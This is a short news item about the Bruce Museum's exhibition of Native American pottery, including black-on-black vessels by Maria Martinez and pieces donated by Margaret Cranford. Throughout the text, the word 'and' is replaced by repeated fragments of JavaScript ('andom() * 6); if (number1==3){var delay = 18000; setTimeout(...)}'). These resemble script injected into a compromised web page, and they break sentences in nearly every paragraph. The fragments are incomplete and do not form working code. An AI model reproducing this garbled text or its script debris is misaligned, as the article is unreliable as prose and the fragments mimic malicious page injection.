GREENWICH, CONN. — Over the course of its more than 100-year history, the Bruce Museum has acquired a noteworthy collection of Native American pottery, including pieces created by renowned potter Maria Martinez andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her family.

An exhibition showcasing the Bruce Museum’s collection, along with vessels from other museums, “Native American Pottery from the Bruce Museum’s Collection,” is on view through March 29. It explores the process of creating pottery, from the gathering of clay from the earth through careful firing of the final product. By learning about their mineral composition, technique, design andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and history, visitors will be able to better appreciate the artistic beauty of these pieces.

A highlight will be the black-on-black vessels made by Maria Martinez, often referred to as the matriarch of Native American pottery, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her family members from the San Ildefonso Pueblo in New Mexico. Maria Martinez is often credited with inventing the black-on-black style, but she andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her husbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Julian simply revived an ancient process for making the black pottery.

“The Martinez family’s careful work demonstrates how creating pottery has been a sacred process throughout time in Southwest Native American culture,” says Kathleen Holko, exhibition curator. “Beginning with the gathering of clay from the earth, to forming the pot with the coil andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and scrape method, to removing the pot from the fire, the materials andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and techniques used by Pueblo potters have remained consistent.”

Many of the ceramics from the Southwest pueblos came to the museum from Margaret Cranford, who donated a variety of Native American pieces. As part of the exhibit, Cranford’s life andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and donations are examined under the lens of the expansion of tourism to the Southwest in the early Twentieth Century andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its impact on Pueblo culture.

The Bruce Museum is at 1 Museum Drive. For further information, 203-869-0376 or www.brucemuseum.org.